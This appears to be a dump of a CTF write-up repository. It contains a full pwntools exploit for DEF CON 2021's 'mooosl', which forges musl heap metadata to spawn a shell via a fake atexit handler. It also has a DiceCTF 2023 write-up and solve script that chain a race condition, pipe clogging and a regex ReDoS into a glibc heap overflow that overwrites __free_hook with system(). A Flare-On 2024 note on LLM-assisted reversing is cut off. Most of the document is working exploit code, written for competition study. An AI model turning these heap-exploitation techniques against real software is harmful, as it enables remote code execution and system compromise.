├── defcon-2021 └── mooosl │ └── sln.py ├── dice-2023 └── sice │ ├── README.md │ ├── bins.png │ ├── child.c │ ├── fast_1.png │ ├── fast_2.png │ ├── flag.png │ ├── heap_1.png │ ├── heap_2.png │ ├── heap_before.png │ ├── parent.rs │ └── solve.py ├── flareon-2024 └── README.md ├── hxp-2020 ├── README.md ├── audited │ ├── README.md │ └── solution.py ├── heiko │ ├── README.md │ └── get_shell.py ├── resonator │ ├── README.md │ ├── exploit.py │ ├── fake_ftp.png │ └── fake_ftp.py └── security scanner │ ├── README.md │ ├── bad_workflow.png │ ├── exploit.py │ ├── fake_dns.py │ ├── fake_git.py │ ├── good_workflow.png │ └── tls_poison.png ├── plaid-2021 ├── plaidflix │ └── sln.py └── sos │ ├── README.md │ ├── sos.001.png │ └── sos.002.png └── potluck-2023 └── auxv ├── 0001-Store-the-open-file-descriptors-of-the-process-in-it.patch ├── Dockerfile ├── Dockerfile.build_system ├── README.md ├── README_players.md ├── debugging-goodies.patch ├── docker-compose.yml ├── exploit ├── README.md ├── build.py ├── payload.asm └── pwn.sh ├── flag ├── init ├── potluck.config ├── prebuilt_system ├── bzImage └── initramfs.cpio.gz └── run.sh /defcon-2021/mooosl/sln.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # 'aaa', 'afl', 'akw' all result in the same hash 5 | def hash(bs): 6 | res = 0x7e5 7 | for b in bs: 8 | res = (b + res * 0x13377331) & 0xFF_FF_FF_FF 9 | return res 10 | 11 | 12 | def parse_leak(content): 13 | leak = bytes.fromhex(content.split(b':')[1].decode()) 14 | nums = [u64(leak[idx:idx + 8]) for idx in range(0, len(leak), 8)] 15 | return nums 16 | 17 | 18 | class Pwnable: 19 | def __init__(self): 20 | # this is a private instance I spawned on archive.ooo 21 | # if you want to repeat this, spawn another one 22 | #self.p = remote('54.218.163.162', '23333') 23 | self.p = remote('172.17.0.2', '23333') 24 | 25 | def send_bytes(self, b): 26 | self.p.recvuntil(b'size: ') 27 | self.p.sendline(f'{len(b)}') 28 | self.p.recvuntil(b'content: ') 29 | self.p.send(b) 30 | 31 | def store(self, key, value): 32 | self.p.recvuntil(b'option: ') 33 | self.p.sendline(b'1') 34 | self.send_bytes(key) 35 | self.send_bytes(value) 36 | self.p.recvuntil(b'ok') 37 | 38 | def query(self, key): 39 | self.p.recvuntil(b'option: ') 40 | self.p.sendline(b'2') 41 | self.send_bytes(key) 42 | res = self.p.recvuntil(b'ok') 43 | return res.rstrip(b'\nok') 44 | 45 | def delete(self, key): 46 | self.p.recvuntil(b'option: ') 47 | self.p.sendline(b'3') 48 | self.send_bytes(key) 49 | self.p.recvuntil(b'ok') 50 | 51 | def exit(self): 52 | self.p.recvuntil(b'option: ') 53 | self.p.sendline(b'4') 54 | self.p.recvuntil(b'bye') 55 | 56 | 57 | if __name__ == '__main__': 58 | p = Pwnable() 59 | 60 | elem_len = 0x30 61 | # group #0 62 | p.store(b'0', b'0' * elem_len) 63 | p.store(b'1', b'1' * elem_len) 64 | p.store(b'2', b'2' * elem_len) 65 | 66 | p.store( 67 | b'aaa', 68 | # group #1 69 | b'A' * elem_len 70 | ) 71 | p.store(b'afl', b'F' * elem_len) 72 | p.store(b'3', b'3' * elem_len) 73 | p.store(b'4', (b'akw' * elem_len)[:elem_len]) 74 | 75 | # group #2 76 | p.store(b'5', b'5' * elem_len) 77 | 78 | p.delete(b'aaa') 79 | p.delete(b'3') 80 | p.delete(b'5') 81 | 82 | p.store(b'6', b'0' * 128) 83 | brk_leak, mmap_leak, *_ = parse_leak(p.query(b'aaa')) 84 | 85 | print(f'brk leak: {hex(brk_leak)}') 86 | print(f'mmap leak: {hex(mmap_leak)}') 87 | 88 | fake_secret_addr = mmap_leak - 0xd7a70 + 0x1000 89 | fake_meta_addr = fake_secret_addr + 0x8 90 | fake_group_addr = fake_meta_addr + 0x28 91 | fake_akw_addr = fake_group_addr + 0x10 92 | 93 | # fake_aaa leaks the global context secret 94 | fake_aaa = flat([ 95 | # key_ptr -> "aaa" 96 | brk_leak - 0x80, 97 | # value_ptr -> ctx.secret 98 | mmap_leak - 0x2fb0, 99 | # key_size 100 | 3, 101 | # value_size = sizeof(ctx.secret) 102 | 8, 103 | # key_hash 104 | hash(b'aaa'), 105 | # next 106 | fake_akw_addr, 107 | ], word_size=64) 108 | p.store(b'7' * elem_len, fake_aaa) 109 | 110 | secret_leak, *_ = parse_leak(p.query(b'aaa')) 111 | print(f'secret leak: {hex(secret_leak)}') 112 | 113 | # musl refuses to immediately reuse freed elements 114 | # so we have to make an elaborate allocation pattern 115 | # we allocated 3 groups of 7 slots each and freed/reused some of those 116 | # after this line, these slots look like this 117 | 118 | # GROUP #0 119 | # 0 elem 0 120 | # 1 0...0 121 | # 2 elem 1 122 | # 3 1...1 123 | # 4 elem 2 124 | # 5 2...2 125 | # 6 elem aaa [x] reused for elem 7 value (fake_aaa) 126 | # GROUP #1 127 | # 0 A...A [x] reused for elem 6 (brk/mmap leak) 128 | # 1 elem afl 129 | # 2 F...F 130 | # 3 elem 3 [x] reused for elem 7 131 | # 4 3...3 [x] reused for elem 7 key 132 | # 5 elem 4 133 | # 6 akw...akw 134 | # GROUP #2 135 | # 0 elem 5 [x] these are only needed to make musl 136 | # 1 5...5 [x] reuse slots from group #1 137 | 138 | # fake_aaa->next points to fake_akw, which we place in a large mmap()ed allocation 139 | # our end goal is to craft fake_{akw,meta} to obtain write-what-where 140 | fake_alloc_size = 32 * 4096 - 16 - 4 141 | fake_meta = flat([ 142 | # prev 143 | 0, 144 | # next 145 | 0, 146 | # meta->mem 147 | fake_group_addr, 148 | # avail_mask | freed_mask 149 | 0, 150 | # sizeclass, shifted to skip last_idx and freeable 151 | 5 << 6, 152 | ], word_size=64) 153 | fake_akw = flat([ 154 | # key_ptr -> "akw" 155 | mmap_leak - 0x80, 156 | # value_ptr 157 | 0, 158 | # key_size, 159 | 3, 160 | # value_ptr 161 | 0, 162 | # key_hash 163 | hash(b'akw'), 164 | # next 165 | 0, 166 | ], word_size=64) 167 | fake_alloc = flat([ 168 | b'\x00' * (0x1000 - 0x10), 169 | secret_leak, 170 | fake_meta, 171 | # group->meta 172 | fake_meta_addr, 173 | # group->{active_idx,pad} 174 | 0, 175 | fake_akw, 176 | ], word_size=64) 177 | 178 | # mmap() a large allocation 179 | p.store(b'8', fake_alloc.ljust(fake_alloc_size, b'\x00')) 180 | # free() fake_akw to place our fake meta on the active group list 181 | p.delete(b'akw') 182 | # munmap() the large allocation so that it can be written to again below 183 | p.delete(b'8') 184 | 185 | # stomp over the fake meta in order to point to addr, which we want to overwrite 186 | def create_meta_stomper(addr): 187 | return flat([ 188 | b'\x00' * (0x1000 - 0x8), 189 | [ 190 | # prev 191 | fake_meta_addr, 192 | # next 193 | fake_meta_addr, 194 | # make meta point to struct group 195 | # then, group->mem will be set to addr 196 | addr - 0x10, 197 | # freed_mask = 0, avail_mask = 1 198 | 1, 199 | # the same size class 200 | 5 << 6, 201 | ], 202 | ], word_size=64).ljust(fake_alloc_size, b'\x00') 203 | 204 | malloc_replaced_addr = mmap_leak - 0xaec 205 | # mmap() will return the same large allocation as before 206 | # this is what allows us to stomp over the fake meta we crafted before 207 | # first, we want to enable __malloc_replaced, which disables __malloc_allzerop() in calloc() 208 | # otherwise, __malloc_allzerop() crashes while validating the meta 209 | p.store(b'8', create_meta_stomper(malloc_replaced_addr + 0x4)) 210 | # when allocating the value, set_size() will write a non-zero value to p[-3] 211 | # and we arranged p[-3] to point inside __malloc_replaced 212 | p.store(b'9', b'\x00' * 0x50) 213 | 214 | # with __malloc_allzerop() disabled, we finally have write-what-where 215 | # use it multiple times to create a fake atexit() handler 216 | builtin_atexit_addr = mmap_leak - 0x3410 217 | system_addr = mmap_leak - 0x66fe0 218 | bin_sh_addr = mmap_leak - 0x4899 219 | what_where = [ 220 | # builtin->f[0] 221 | ([system_addr], builtin_atexit_addr + 0x8), 222 | # builtin->a[0] 223 | ([bin_sh_addr], builtin_atexit_addr + 33 * 0x8), 224 | # the head of the linked list of atexit() handlers 225 | ([builtin_atexit_addr], mmap_leak - 0xd28), 226 | # the number of atexit handlers 227 | ([0] * 9 + [1], mmap_leak - 0xb0c - 0x48), 228 | ] 229 | for what, where in what_where: 230 | p.delete(b'8') 231 | p.store(b'8', create_meta_stomper(where)) 232 | p.store(b'9', flat(what, word_size=64).ljust(0x50, b'\x00')) 233 | 234 | # trigger the fake atexit() handler 235 | p.exit() 236 | p.p.interactive() 237 | -------------------------------------------------------------------------------- /dice-2023/sice/README.md: -------------------------------------------------------------------------------- 1 | ### Intro 2 | 3 | [Sice Supervisor](https://github.com/dicegang/dicectf-2023-challenges/tree/main/pwn/sice-supervisor) was a pretty cool heap memory corruption challenge from DiceCTF 2023 that no team solved during the CTF. We ([More Smoked Leet Chicken](https://ctftime.org/team/1005/)) came pretty close to getting the flag, though, so I thought I'd try writing it up. 4 | 5 | Heads-up: a typical heap exploitation writeup assumes you memorized a myriad of little tricks before reading, and goes like this: 6 | > The MD5 of the given `libc.so` is `76b4e83...`. It is very well known that this library is vulnerable to House of Serendipity *a link to an obscure Taiwanese blog* and has exactly 12 gadgets we can exploit. By enumerating them all... 7 | 8 | I tried to avoid this style as much as possible. To understand this writeup, you only need to: 9 | * be comfortable with reading both C and Rust code 10 | * be familiar with basics of multi-threaded programming: e.g., know what a thread is, how to spawn one, and how to wait for its completion 11 | 12 | ### Exploration 13 | 14 | Sice Supervisor is a tandem of two programs (thankfully, we are given the source code for both): the **daemon** (written in C) and the **supervisor** (written in Rust). The daemon is a ~~contrived~~ simple in-memory database with a CLI interface capable of adding, removing, editing and inspecting chunks of data. The supervisor's job is to spawn a daemon instance, receive commands from the user (that would be us), send them to the daemon instance, and then transfer the daemon output back to the user after some postprocessing. 15 | 16 | As neither supervisor nor daemon interacts with the file system at all, the only way to read the flag from the local filesystem is to hunt for some sort of memory safety issue to achieve remote command execution. The Rust supervisor with no `unsafe` blocks is more likely (although not [guaranteed](https://brycec.me/posts/dicectf_2023_challenges#chessrs)) to be memory-safe, so let's focus on the C daemon instead. 17 | 18 | Let's try to work backwards and see which memory region we can stomp over (with a hypothetical memory safety issue) to gain execution control. The daemon itself is tiny and there's not a lot to corrupt, however we do have [glibc](https://www.gnu.org/software/libc/) mapped into our address space. A quickly analysis of the glibc binary with a [disassembler](https://binary.ninja/) of our choice reveals that there are all sorts of overwritable function pointers. Of those, [\_\_free_hook()](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) appears to be the [best target]((https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go)): we can ask the daemon to delete any data chunk, which results in `__free_hook()` being called. We also control the data being `free()`'ed, so if we somehow sneak, say, [system()](https://man7.org/linux/man-pages/man3/system.3.html) into the hook, then it's instant game over. 19 | 20 | So, perhaps we can find some sort of buffer overflow in the daemon implementation that can reach `__free_hook()`? 21 | 22 | Unfortunately, the code is surprisingly decent for a C program: no integer overflows, no double-frees or dangling pointers, and all array indices are checked against array sizes. There's one thing that seems obviously fishy, though: even though the daemon processes the commands sequentially without using mutexes, each command is actually processed in a new thread. That would be just bad programming rather than an exploitable bug, if it wasn't for this: 23 | ```c 24 | pthread_t tid; 25 | pthread_create(&tid, ...); 26 | pthread_detach(tid); 27 | sleep(3); 28 | ``` 29 | 30 | In other words, instead of properly waiting for the thread to terminate (with [pthread_join()](https://man7.org/linux/man-pages/man3/pthread_join.3.html)) before starting a new command, we just assume it terminates in no more than 3 seconds. 31 | 32 | ### A wild race condition appears 33 | 34 | 🚩🚩🚩NEVER EVER DO THIS IN REAL LIFE🚩🚩🚩 35 | 36 | Best case, a thread *accidentally* needs more than 3 seconds to finish its job for whatever reason, and a new thread is spawned while the old one is still alive. This means there are now two threads operating on the same data without mutexes, and you get a lot of fun staring at mysterious core dumps. Worst case, a motivated attacker finds a way to *intentionally* stall a thread for more than 3 seconds and then cleverly exploit the resulting race condition to overwrite some data they weren't supposed to. 37 | 38 | Wait, we *are* the motivated attacker. Let's do exactly this. 39 | 40 | This is actually harder than it sounds: all functions in the C daemon are straightforward, and have time complexity of either `O(1)` or `O(N)` (where `N` is the size of the data chunk in bytes). To make them take longer than 3 seconds, we need to allocate *huge* data chunks and risk running out of memory when running our exploit. Yet, when we look at the function editing data in the C daemon, we see there is a better way: 41 | ```c 42 | void * edit_deet(void * args) { 43 | unsigned long i = (unsigned long) ((void **) args)[0]; 44 | ... 45 | unsigned long sz = sizes[i]; 46 | printf("Editing deet of size %lu\n", sz); 47 | // `deets[i]` is the target data chunk, `args[1]` is the source data we control 48 | memcpy(deets[i], ((void **) args)[1], sz); 49 | ``` 50 | 51 | If we find a way to block `printf()` for a long time and re-allocate `deets[i]` with a smaller size in the meanwhile, then we have a perfect buffer overflow: the `memcpy()` call will write arbitrary data we control past the bytes allocated for `deets[i]`. 52 | 53 | But how do we slow down `printf()`? 54 | 55 | ### Interlude #1: Linux pipes and buffering 56 | 57 | The supervisor redirects the stdout of the daemon to a [pipe](https://man7.org/linux/man-pages/man7/pipe.7.html) and spawns a new thread that repeatedly reads from this pipe in a busy loop. The man page says: 58 | 59 | > A pipe has a limited capacity. If the pipe is full, then a write(2) will block [...] 60 | > 61 | > [...] the pipe capacity is 16 pages (i.e., 65,536 bytes in a system with a page size of 4096 bytes). 62 | 63 | This suggests that if we write 65K bytes to stdout and the supervisor fails to read them in time, the next write will block. Indeed, when we run a pair of test programs ([Rust parent](parent.rs), [C child](child.c)) under [strace](https://strace.io/), we get the following output: 64 | ``` 65 | 7992 19:55:21 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0}, 66 | ... 67 | 7993 19:55:22 write(1, "A", 1) = 1 68 | 7993 19:55:22 write(1, "A", 1 69 | 7992 19:55:31 <... clock_nanosleep resumed>0x7ffcf43c0e10) = 0 70 | 7992 19:55:31 read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 100000) = 65536 71 | 7993 19:55:31 <... write resumed>) = 1 72 | 7992 19:55:31 wait4(7993, 73 | 7993 19:55:31 write(1, "A", 1) = 1 74 | 7993 19:55:31 write(1, "A", 1) = 1 75 | ... 76 | 7992 19:55:31 <... wait4 resumed>[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 7993 77 | ``` 78 | 79 | The child process (`7993`) was stuck in the `write()` syscall for 9 seconds because the pipe got clogged. Then the parent (`7992`) woke up, read exactly 65K bytes from the pipe buffer, and allowed the child to proceed. 80 | 81 | ### Interlude #2: Rust `regex` CVE 82 | 83 | Writing 65K bytes to the stdout pipe from the daemon is trivial: all we need to do is create a large chunk of data and make the daemon print it. But we also need to prevent the supervisor from draining the pipe, at least temporarily. We control the regular expression that the supervisor uses to filter the output from the daemon, so it's natural to try to trigger some sort of [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS), so that the supervisor thread wastes CPU cycles matching the regexp instead of polling for stdout data. 84 | 85 | The `regex` crate by burntsushi@ is explicitly [designed](https://docs.rs/regex/latest/regex/#untrusted-input) to "handle both untrusted regular expressions and untrusted search text", which is bad news for us. The good news is that the challenge setup "accidentally" uses an older version of `regex` with a known [CVE](https://github.com/rust-lang/regex/commit/ae70b41d4f46641dbc45c7a4f87954aea356283e). 86 | 87 | This essentially means we can pause the supervisor for a controlled amount of time by providing a regular expression with a repeating empty sub-group (e.g, `(?:){N}`, where `N` is a huge number). 88 | 89 | ### Corrupting the heap 90 | 91 | So, if we re-compile the daemon with [asan](https://github.com/google/sanitizers/wiki/AddressSanitizer), feed the evil regexp to the supervisor, clog the stdout pipe, and then re-allocate the data chunk with a smaller size just before `memcpy(...)`, we indeed get a very promising crash: 92 | ``` 93 | ==99404==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002810 at pc 0x7f8727849d21 bp 0x7f87248fce20 sp 0x7f87248fc5d0 94 | WRITE of size 100000 at 0x626000002810 thread T7 95 | #0 0x7f8727849d20 in __interceptor_memcpy (/lib64/libasan.so.8+0x49d20) 96 | #1 0x401954 in edit_deet deet.c:62 97 | #2 0x7f87276ae12c in start_thread (/lib64/libc.so.6+0x8b12c) 98 | #3 0x7f872772fbbf in __clone3 (/lib64/libc.so.6+0x10cbbf) 99 | ``` 100 | 101 | Sadly, we still have a long way to go to remote code execution. Data chunks are allocated on the heap, and being able to write past the chunk bounds is not enough. To see why, we need to dig into the [internals](https://sourceware.org/glibc/wiki/MallocInternals) of the heap allocator used in glibc and read its source code (the challenge is deployed on Ubuntu 18.04, so we need version [2.27](https://sourceware.org/git/?p=glibc.git;a=commit;h=23158b08a0908f381459f273a984c6fd328363cb)). 102 | 103 | Poking into the daemon binary with `gdb` and cross-referencing the results against the source code, we can determine that the memory layout looks like this: 104 | 105 | ![heap before](heap_before.png) 106 | 107 | Our data chunks are created from auxiliary threads, so they get placed in a [heap](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/arena.c;h=37183cfb6ab5d0735cc82759626670aff3832cd0;hb=23158b08a0908f381459f273a984c6fd328363cb#l452) that is allocated with `mmap()`. glibc is also allocated with `mmap`, so the heap and `__free_hook` are thankfully not too far from each other. However: 108 | * Due to the way the challenge is setup, we can only overflow up to 100K bytes, but the difference between the heap and `__free_hook` is much larger than 100K bytes. 109 | * Even if we could reach `__free_hook` with the overflow, the space *between* the heap and glibc is not readable/writable, so if we try to stomp over it, we die. 110 | * `mmap()`'ed addresses are randomized with [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization), we don't know the address of `system()`, which we want to put into `__free_hook`. 111 | * All `mmap()`'ed addresses share the same ASLR base, so you'd think that the *difference* between the heap and `__free_hook` is known and constant. However, glibc [aligns](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/arena.c;h=37183cfb6ab5d0735cc82759626670aff3832cd0;hb=23158b08a0908f381459f273a984c6fd328363cb#l494) the `mmap()`'ed heap to 64 megabytes by `munmap()`'ing some of the initial heap bytes. So the difference also varies slightly from run to run. 112 | 113 | Let's first pretend there's no ASLR and try to reach `__free_hook` anyway. The heap has a dummy chunk with free bytes of the heap at the very end, and the size of this chunk is stored inline. With our overflow, we can overwrite the size to whatever value we want. This will trick glibc into thinking that our heap has more free bytes at the end. 114 | 115 | What if we set the size of the dummy chunk to a very large value? Then we can allocate a fake chunk that will span the difference between the heap and glibc (we don't write anything into it, so it's OK) and another chunk right before `__free_hook`: 116 | 117 | ![heap 1](heap_1.png) 118 | 119 | We can then edit the chunk before `__free_hook` and set it to `system()`. This would actually work, if it wasn't for the fact that glibc expects to find heap metadata for a chunk by [zeroing](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/arena.c;h=37183cfb6ab5d0735cc82759626670aff3832cd0;hb=23158b08a0908f381459f273a984c6fd328363cb#l128) its last 3 bytes. In the picture, `__free_hook` has address `0x7f7c3cded8e8`, but there's no valid heap metadata at `0x7f7c3c000000` (we only have one at `0x7f7c38000000`), so we segfault. 120 | 121 | Okay! After reading more source code we find out that there are no limits on the size of the chunk we allocate. Let's allocate a chunk so large it wraps around in 64-bit address space (setting the size of the dummy chunk to `MAX_INT` before that) and lands *inside* heap metadata. The difference between the dummy chunk and the heap metadata is constant, so we don't even need an ASLR bypass. This way, we get an ability to corrupt heap metadata: 122 | 123 | ![heap 2](heap_2.png) 124 | 125 | It is not hard to see what metadata we should corrupt: the heap metadata has pointers to linked lists of free chunks that are can be used to serve allocations. The layout of metadata looks roughly like this: 126 | 127 | ![bins](bins.png) 128 | 129 | `bins` is a doubly-linked list of chunks, `fastbinsY` is a singly-linked one. If we place a fake chunk that points to `__free_hook` on either, we win. Which one to choose? 130 | 131 | ### Interlude: defeating ASLR 132 | 133 | In addition to corrupting heap metadata, we can also read from it. Here, we get lucky: `metadata->next` points to [main_arena](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l1761), which is located somewhere inside glibc and is used to serve allocations for the main thread. All addresses inside glibc (e.g., `system()`) are located at fixed offset from each other, so if we know the address of `main_arena`, we can compute any address in glibc and bypass ASLR. 134 | 135 | ### Back to pwning 136 | 137 | It turns out that `bins` is a worse target: since it's a doubly-linked list, it has an [additional protection](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l1409) that requires the fake chunk to have a valid `back` pointer. 138 | 139 | But even we target `fastbinsY` (which is singly-linked) instead, we face another [protection](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l3596). Fastbins only serve chunks of fixed small sizes (from 0x20 to 0x80), and glibc requires the fake chunk to have a size that can be put into a fastbin. 140 | 141 | [This](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=f8e7250f70f6f26b0acb5901bcc4f6e39a8a52b2;hb=23158b08a0908f381459f273a984c6fd328363cb#l1591) is the function used to convert the chunk size into the fastbin index. Essentially, this means we need to arrange a fake chunk like this in memory: 142 | 143 | ![fast 1](fast_1.png) 144 | 145 | Here, `??` should be an arbitrary number from `20` to `80`. Here we get lucky once again: there are locks for standard streams just before `__free_hook`. When they are locked, their `owner` [field](https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/nptl/libc-lock.h;h=801bcf7913a3ea7a0c7bd3ba529164902e8974c9;hb=23158b08a0908f381459f273a984c6fd328363cb#l32) is set to an address somewhere in libc, which looks like `0x00007f...`. Since `0x7f` is a valid fastbin chunk size, we can form a fake chunk around the `owner` of the stdout lock like this: 146 | 147 | ![fast 2](fast_2.png) 148 | 149 | How do we ensure that stdout is locked when we are allocating the fake chunk, though? We can just use the same race condition again to make `printf()` block for a long time. And `printf()` holds the stdout lock. 150 | 151 | Combining everything into a big hairy [exploit](solve.py), we run it against the remote server and finally get the flag: 152 | 153 | ![flag](flag.png) 154 | -------------------------------------------------------------------------------- /dice-2023/sice/bins.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/bins.png -------------------------------------------------------------------------------- /dice-2023/sice/child.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | setvbuf(stdout, 0, 2, 0); 5 | 6 | for (size_t i = 0; i < 100000; ++i) { 7 | putchar('A'); 8 | } 9 | 10 | 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /dice-2023/sice/fast_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/fast_1.png -------------------------------------------------------------------------------- /dice-2023/sice/fast_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/fast_2.png -------------------------------------------------------------------------------- /dice-2023/sice/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/flag.png -------------------------------------------------------------------------------- /dice-2023/sice/heap_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/heap_1.png -------------------------------------------------------------------------------- /dice-2023/sice/heap_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/heap_2.png -------------------------------------------------------------------------------- /dice-2023/sice/heap_before.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dfyz/ctf-writeups/c404744b602d7396137a50fa33a31ed433c84ced/dice-2023/sice/heap_before.png -------------------------------------------------------------------------------- /dice-2023/sice/parent.rs: -------------------------------------------------------------------------------- 1 | use std::io::Read; 2 | use std::process::{Command, Stdio}; 3 | use std::thread; 4 | use std::time::Duration; 5 | 6 | fn main() { 7 | let mut child = Command::new("./child") 8 | .stdout(Stdio::piped()) 9 | .spawn() 10 | .unwrap(); 11 | 12 | thread::sleep(Duration::from_secs(10)); 13 | 14 | let mut input_buf = [0u8; 100000]; 15 | let mut stdout = child.stdout.take().unwrap(); 16 | stdout.read(&mut input_buf).unwrap(); 17 | 18 | child.wait().unwrap(); 19 | } -------------------------------------------------------------------------------- /dice-2023/sice/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | PROMPT = b'> ' 5 | DONE = b'Done!\n' 6 | EVIL_RE = b'(?:){2000000000}' 7 | 8 | 9 | if __name__ == '__main__': 10 | with process('./sice_supervisor') as tube: 11 | #with remote('mc.ax', 30283) as tube: 12 | # deploy 13 | tube.sendlineafter(PROMPT, b'1') 14 | 15 | def sice(payload, wait_prompt=True): 16 | if wait_prompt: 17 | tube.sendlineafter(PROMPT, b'2') 18 | else: 19 | tube.sendline(b'2') 20 | tube.sendlineafter(PROMPT, b'0') 21 | tube.sendafter(PROMPT, payload) 22 | 23 | def multi_payload(cnt, newline=False): 24 | for idx in range(cnt): 25 | payload = b'\xFF' * 1000 26 | if idx + 1 == cnt: 27 | payload = payload[:-1] 28 | if newline: 29 | payload += b'\n' 30 | sice(payload) 31 | 32 | def add_evil_deet(deet_idx): 33 | sice(flat( 34 | b'1\n', # add deet 35 | b'100000\n', # size 36 | b'3\n', # edit deet 37 | str(deet_idx).encode() + b'\n', 38 | )) 39 | 40 | # send slow payload 41 | tube.sendlineafter(PROMPT, b'3') 42 | tube.sendlineafter(PROMPT, b'0') 43 | tube.sendlineafter(PROMPT, EVIL_RE) 44 | 45 | # edit payload 46 | multi_payload(100) 47 | pause() 48 | 49 | add_evil_deet(0) 50 | add_evil_deet(1) 51 | 52 | sice(flat( 53 | b'4\n', # view deet 54 | b'1\n', # deet idx 55 | )) 56 | 57 | sice(flat( 58 | b'4\n', # view deet 59 | b'0\n', # deet idx 60 | b'3\n', # edit deet 61 | b'0\n', # deet idx 62 | b'lol\n', # edit payload 63 | b'2\n', # remove deet 64 | b'0\n', # deet idx 65 | b'1\n', # add deet 66 | b'10000\n', # size 67 | b'2\n', # remove deet 68 | b'1\n', # deet idx 69 | )) 70 | 71 | for done_idx in range(5): 72 | tube.readuntil(DONE) 73 | log.info('DONE #%d', done_idx) 74 | 75 | sice(flat( 76 | b'1\n', 77 | f'{0xffffffffffffcdc8}\n'.encode(), 78 | b'1\n', 79 | f'{0x70}\n'.encode(), 80 | b'1\n', 81 | f'{0x868 - 0x70 - 0x10}\n'.encode(), 82 | b'1\n', 83 | b'16\n', 84 | 85 | b'3\n', 86 | b'4\n', 87 | b'A' * 16 + b'\n', 88 | 89 | b'4\n', 90 | b'4\n', 91 | ), wait_prompt=False) 92 | tube.recvuntil(b'A' * 16) 93 | main_arena = unpack(tube.recv(6), 'all') 94 | fake_chunk = main_arena + 0x1c85 95 | system_addr = main_arena - 0x39c820 96 | 97 | sice(flat( 98 | b'3\n', 99 | b'2\n', 100 | p64(0) * 2, 101 | 102 | p32(0), 103 | p32(2), 104 | 105 | p64(1), 106 | p64(0) * 5, 107 | p64(fake_chunk), 108 | b'\n', 109 | ), wait_prompt=False) 110 | 111 | sice(flat( 112 | b'3\n', 113 | b'0\n', 114 | )) 115 | multi_payload(10, newline=True) 116 | 117 | for _ in range(2): 118 | tube.sendlineafter(PROMPT, b'3') 119 | tube.sendlineafter(PROMPT, b'0') 120 | tube.sendlineafter(PROMPT, EVIL_RE) 121 | 122 | sice(flat( 123 | b'4\n', 124 | b'0\n', 125 | )) 126 | 127 | sice(flat( 128 | b'1\n', 129 | f'{0x68}\n'.encode(), 130 | )) 131 | 132 | for done_idx in range(3): 133 | tube.readuntil(DONE) 134 | log.info('DONE #%d', done_idx) 135 | 136 | sice(flat( 137 | b'3\n', 138 | b'5\n', 139 | b'\x00' * 0x13, 140 | p64(system_addr), 141 | b'\n', 142 | 143 | b'3\n', 144 | b'0\n', 145 | b'id; ls -lh *\n', # use cat flag.txt on the real remote 146 | 147 | b'2\n', 148 | b'0\n', 149 | ), wait_prompt=False) 150 | 151 | tube.recvall() 152 | -------------------------------------------------------------------------------- /flareon-2024/README.md: -------------------------------------------------------------------------------- 1 | When solving the last challenge of [Flare-On 11](https://cloud.google.com/blog/topics/threat-intelligence/announcing-eleventh-annual-flare-on-challenge), I decided on a whim to see if current-generation LLMs are of any help in CTF-style reverse engineering. 2 | 3 | The answer is "definitely yes, but with caveats" (more specifically, I was using Claude 3.5 Sonnet, but I suppose the answer is the same for GPT-4/Gemini/...). You obviously can't drop the binary directly into the LLM and get the flag out (yet?), but you definitely can automate the bulk of reverse engineering. 4 | 5 | The challenge is a UEFI firmware image, but as far as I can see, there's really nothing UEFI-specific to it (which is honestly a shame because I really wanted to use this challenge as an excuse to re-read [this excellent book](https://nostarch.com/rootkits)). 6 | The only program you need to reverse is the custom modification of the shell built into [EDK2](https://github.com/tianocore/edk2), and for all intents and purposes it's just a regular PE file which you can analyze statically (with Binary Ninja) or dynamically (with qemu and gdb). 7 | In fact, the PE is also mostly irrelevant, since the core of the challenge is to find the correct input for three different programs for a custom virtual machine. The only part of the binary we need is the interpreter for the VM and the programs themselves. 8 | 9 | First, I copied and pasted the Binary Ninja HLIL for the VM interpreter into the LLM and asked for a disassembler for the VM bytecode. 10 | 11 | 